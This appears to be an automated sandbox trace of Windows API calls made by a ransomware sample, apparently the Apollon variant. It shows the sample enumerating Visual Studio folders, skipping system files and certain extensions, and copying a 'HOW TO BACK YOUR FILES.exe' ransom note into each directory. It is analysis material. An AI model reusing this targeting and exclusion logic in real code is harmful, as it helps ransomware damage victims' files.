	[0052.973] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1
	[0052.973] lstrlenW (lpString="1033") returned 4
	[0052.973] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\*") returned 59
	[0052.973] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="1033" | out: lpString1="1033") returned="1033"
	[0052.973] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0052.973] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf568
	[0052.973] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0052.973] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a2eeb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37a2eeb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.974] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.974] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x557a0300, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x557a0300, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x11348, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VSTAClientPkg.dll", cAlternateFileName="VSTACL~1.DLL")) returned 1
	[0052.974] lstrcmpiW (lpString1="VSTAClientPkg.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.974] lstrcmpiW (lpString1="VSTAClientPkg.dll", lpString2="Apollon865.txt.exe") returned 1
	[0052.974] lstrcmpiW (lpString1="VSTAClientPkg.dll", lpString2=".") returned 1
	[0052.974] lstrcmpiW (lpString1="VSTAClientPkg.dll", lpString2="..") returned 1
	[0052.974] lstrcmpiW (lpString1="VSTAClientPkg.dll", lpString2="windows") returned -1
	[0052.974] lstrcmpiW (lpString1="VSTAClientPkg.dll", lpString2="bootmgr") returned 1
	[0052.974] lstrcmpiW (lpString1="VSTAClientPkg.dll", lpString2="temp") returned 1
	[0052.974] lstrcmpiW (lpString1="VSTAClientPkg.dll", lpString2="pagefile.sys") returned 1
	[0052.974] lstrcmpiW (lpString1="VSTAClientPkg.dll", lpString2="boot") returned 1
	[0052.974] lstrcmpiW (lpString1="VSTAClientPkg.dll", lpString2="ids.txt") returned 1
	[0052.974] lstrcmpiW (lpString1="VSTAClientPkg.dll", lpString2="ntuser.dat") returned 1
	[0052.974] lstrcmpiW (lpString1="VSTAClientPkg.dll", lpString2="perflogs") returned 1
	[0052.974] lstrcmpiW (lpString1="VSTAClientPkg.dll", lpString2="MSBuild") returned 1
	[0052.974] lstrlenW (lpString="VSTAClientPkg.dll") returned 17
	[0052.974] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033") returned 62
	[0052.974] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="VSTAClientPkg.dll" | out: lpString1="VSTAClientPkg.dll") returned="VSTAClientPkg.dll"
	[0052.974] lstrlenW (lpString="VSTAClientPkg.dll") returned 17
	[0052.974] lstrlenW (lpString="Apollon865") returned 10
	[0052.974] lstrcmpiW (lpString1="entPkg.dll", lpString2="Apollon865") returned 1
	[0052.974] lstrlenW (lpString=".dll") returned 4
	[0052.974] lstrcmpiW (lpString1="VSTAClientPkg.dll", lpString2=".dll") returned 1
	[0052.974] lstrlenW (lpString=".lnk") returned 4
	[0052.974] lstrcmpiW (lpString1="VSTAClientPkg.dll", lpString2=".lnk") returned 1
	[0052.974] lstrlenW (lpString=".ini") returned 4
	[0052.974] lstrcmpiW (lpString1="VSTAClientPkg.dll", lpString2=".ini") returned 1
	[0052.974] lstrlenW (lpString=".sys") returned 4
	[0052.974] lstrcmpiW (lpString1="VSTAClientPkg.dll", lpString2=".sys") returned 1
	[0052.974] lstrlenW (lpString="VSTAClientPkg.dll") returned 17
	[0052.975] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e67c00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51e67c00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4a548, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VSTAProject.dll", cAlternateFileName="VSTAPR~1.DLL")) returned 1
	[0052.975] lstrcmpiW (lpString1="VSTAProject.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.975] lstrcmpiW (lpString1="VSTAProject.dll", lpString2="Apollon865.txt.exe") returned 1
	[0052.975] lstrcmpiW (lpString1="VSTAProject.dll", lpString2=".") returned 1
	[0052.975] lstrcmpiW (lpString1="VSTAProject.dll", lpString2="..") returned 1
	[0052.975] lstrcmpiW (lpString1="VSTAProject.dll", lpString2="windows") returned -1
	[0052.975] lstrcmpiW (lpString1="VSTAProject.dll", lpString2="bootmgr") returned 1
	[0052.975] lstrcmpiW (lpString1="VSTAProject.dll", lpString2="temp") returned 1
	[0052.975] lstrcmpiW (lpString1="VSTAProject.dll", lpString2="pagefile.sys") returned 1
	[0052.975] lstrcmpiW (lpString1="VSTAProject.dll", lpString2="boot") returned 1
	[0052.975] lstrcmpiW (lpString1="VSTAProject.dll", lpString2="ids.txt") returned 1
	[0052.975] lstrcmpiW (lpString1="VSTAProject.dll", lpString2="ntuser.dat") returned 1
	[0052.975] lstrcmpiW (lpString1="VSTAProject.dll", lpString2="perflogs") returned 1
	[0052.975] lstrcmpiW (lpString1="VSTAProject.dll", lpString2="MSBuild") returned 1
	[0052.975] lstrlenW (lpString="VSTAProject.dll") returned 15
	[0052.975] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\VSTAClientPkg.dll") returned 75
	[0052.975] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="VSTAProject.dll" | out: lpString1="VSTAProject.dll") returned="VSTAProject.dll"
	[0052.975] lstrlenW (lpString="VSTAProject.dll") returned 15
	[0052.975] lstrlenW (lpString="Apollon865") returned 10
	[0052.975] lstrcmpiW (lpString1="roject.dll", lpString2="Apollon865") returned 1
	[0052.975] lstrlenW (lpString=".dll") returned 4
	[0052.975] lstrcmpiW (lpString1="VSTAProject.dll", lpString2=".dll") returned 1
	[0052.975] lstrlenW (lpString=".lnk") returned 4
	[0052.975] lstrcmpiW (lpString1="VSTAProject.dll", lpString2=".lnk") returned 1
	[0052.975] lstrlenW (lpString=".ini") returned 4
	[0052.975] lstrcmpiW (lpString1="VSTAProject.dll", lpString2=".ini") returned 1
	[0052.975] lstrlenW (lpString=".sys") returned 4
	[0052.975] lstrcmpiW (lpString1="VSTAProject.dll", lpString2=".sys") returned 1
	[0052.975] lstrlenW (lpString="VSTAProject.dll") returned 15
	[0052.975] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e67c00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51e67c00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4a548, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VSTAProject.dll", cAlternateFileName="VSTAPR~1.DLL")) returned 0
	[0052.976] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.976] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a90
	[0052.976] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033"
	[0052.976] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0052.976] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0052.976] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033") returned 62
	[0052.976] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033"
	[0052.976] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.976] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\vsta\\bin\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.982] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.982] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37a7b170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37a7b170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.982] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.982] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.982] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.982] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37a7b170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37a7b170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.982] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.982] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.982] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.982] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.982] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a55010, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37a55010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.982] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.982] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf09b00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bf09b00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x2b60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VSTAClientPkgUI.dll", cAlternateFileName="VSTACL~1.DLL")) returned 1
	[0052.982] lstrcmpiW (lpString1="VSTAClientPkgUI.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.982] lstrcmpiW (lpString1="VSTAClientPkgUI.dll", lpString2="Apollon865.txt.exe") returned 1
	[0052.983] lstrcmpiW (lpString1="VSTAClientPkgUI.dll", lpString2=".") returned 1
	[0052.983] lstrcmpiW (lpString1="VSTAClientPkgUI.dll", lpString2="..") returned 1
	[0052.983] lstrcmpiW (lpString1="VSTAClientPkgUI.dll", lpString2="windows") returned -1
	[0052.983] lstrcmpiW (lpString1="VSTAClientPkgUI.dll", lpString2="bootmgr") returned 1
	[0052.983] lstrcmpiW (lpString1="VSTAClientPkgUI.dll", lpString2="temp") returned 1
	[0052.983] lstrcmpiW (lpString1="VSTAClientPkgUI.dll", lpString2="pagefile.sys") returned 1
	[0052.983] lstrcmpiW (lpString1="VSTAClientPkgUI.dll", lpString2="boot") returned 1
	[0052.983] lstrcmpiW (lpString1="VSTAClientPkgUI.dll", lpString2="ids.txt") returned 1
	[0052.983] lstrcmpiW (lpString1="VSTAClientPkgUI.dll", lpString2="ntuser.dat") returned 1
	[0052.983] lstrcmpiW (lpString1="VSTAClientPkgUI.dll", lpString2="perflogs") returned 1
	[0052.983] lstrcmpiW (lpString1="VSTAClientPkgUI.dll", lpString2="MSBuild") returned 1
	[0052.983] lstrlenW (lpString="VSTAClientPkgUI.dll") returned 19
	[0052.983] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033\\*") returned 64
	[0052.983] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="VSTAClientPkgUI.dll" | out: lpString1="VSTAClientPkgUI.dll") returned="VSTAClientPkgUI.dll"
	[0052.983] lstrlenW (lpString="VSTAClientPkgUI.dll") returned 19
	[0052.983] lstrlenW (lpString="Apollon865") returned 10
	[0052.983] lstrcmpiW (lpString1="tPkgUI.dll", lpString2="Apollon865") returned 1
	[0052.983] lstrlenW (lpString=".dll") returned 4
	[0052.983] lstrcmpiW (lpString1="VSTAClientPkgUI.dll", lpString2=".dll") returned 1
	[0052.983] lstrlenW (lpString=".lnk") returned 4
	[0052.983] lstrcmpiW (lpString1="VSTAClientPkgUI.dll", lpString2=".lnk") returned 1
	[0052.983] lstrlenW (lpString=".ini") returned 4
	[0052.983] lstrcmpiW (lpString1="VSTAClientPkgUI.dll", lpString2=".ini") returned 1
	[0052.983] lstrlenW (lpString=".sys") returned 4
	[0052.983] lstrcmpiW (lpString1="VSTAClientPkgUI.dll", lpString2=".sys") returned 1
	[0052.983] lstrlenW (lpString="VSTAClientPkgUI.dll") returned 19
	[0052.983] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x498e4100, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x498e4100, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x7958, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VSTAProjectUI.dll", cAlternateFileName="VSTAPR~1.DLL")) returned 1
	[0052.983] lstrcmpiW (lpString1="VSTAProjectUI.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.983] lstrcmpiW (lpString1="VSTAProjectUI.dll", lpString2="Apollon865.txt.exe") returned 1
	[0052.983] lstrcmpiW (lpString1="VSTAProjectUI.dll", lpString2=".") returned 1
	[0052.983] lstrcmpiW (lpString1="VSTAProjectUI.dll", lpString2="..") returned 1
	[0052.983] lstrcmpiW (lpString1="VSTAProjectUI.dll", lpString2="windows") returned -1
	[0052.984] lstrcmpiW (lpString1="VSTAProjectUI.dll", lpString2="bootmgr") returned 1
	[0052.984] lstrcmpiW (lpString1="VSTAProjectUI.dll", lpString2="temp") returned 1
	[0052.984] lstrcmpiW (lpString1="VSTAProjectUI.dll", lpString2="pagefile.sys") returned 1
	[0052.984] lstrcmpiW (lpString1="VSTAProjectUI.dll", lpString2="boot") returned 1
	[0052.984] lstrcmpiW (lpString1="VSTAProjectUI.dll", lpString2="ids.txt") returned 1
	[0052.984] lstrcmpiW (lpString1="VSTAProjectUI.dll", lpString2="ntuser.dat") returned 1
	[0052.984] lstrcmpiW (lpString1="VSTAProjectUI.dll", lpString2="perflogs") returned 1
	[0052.984] lstrcmpiW (lpString1="VSTAProjectUI.dll", lpString2="MSBuild") returned 1
	[0052.984] lstrlenW (lpString="VSTAProjectUI.dll") returned 17
	[0052.984] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033\\VSTAClientPkgUI.dll") returned 82
	[0052.984] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="VSTAProjectUI.dll" | out: lpString1="VSTAProjectUI.dll") returned="VSTAProjectUI.dll"
	[0052.984] lstrlenW (lpString="VSTAProjectUI.dll") returned 17
	[0052.984] lstrlenW (lpString="Apollon865") returned 10
	[0052.984] lstrcmpiW (lpString1="jectUI.dll", lpString2="Apollon865") returned 1
	[0052.984] lstrlenW (lpString=".dll") returned 4
	[0052.984] lstrcmpiW (lpString1="VSTAProjectUI.dll", lpString2=".dll") returned 1
	[0052.984] lstrlenW (lpString=".lnk") returned 4
	[0052.984] lstrcmpiW (lpString1="VSTAProjectUI.dll", lpString2=".lnk") returned 1
	[0052.984] lstrlenW (lpString=".ini") returned 4
	[0052.984] lstrcmpiW (lpString1="VSTAProjectUI.dll", lpString2=".ini") returned 1
	[0052.984] lstrlenW (lpString=".sys") returned 4
	[0052.984] lstrcmpiW (lpString1="VSTAProjectUI.dll", lpString2=".sys") returned 1
	[0052.984] lstrlenW (lpString="VSTAProjectUI.dll") returned 17
	[0052.984] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x498e4100, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x498e4100, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x7958, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VSTAProjectUI.dll", cAlternateFileName="VSTAPR~1.DLL")) returned 0
	[0052.984] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.984] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a70
	[0052.984] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK"
	[0052.984] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0052.984] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0052.984] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK") returned 52
	[0052.984] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK"
	[0052.985] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.985] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\sdk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.989] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.989] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37a7b170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37a7b170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.989] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.989] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.989] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.989] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37a7b170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37a7b170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.989] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.989] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.989] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.990] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.990] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a7b170, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37a7b170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.990] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.990] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a7b170, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37a7b170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0052.990] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.990] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a50
	[0052.990] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7"
	[0052.990] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0052.990] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0052.990] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7") returned 56
	[0052.990] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7"
	[0052.990] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.990] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.995] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.995] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37a7b170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37a7b170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.995] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.995] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.995] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.995] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37a7b170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37a7b170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.995] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.995] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.995] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.995] lstrcmpiW (lpString1="..", lpString2="..") returned 0
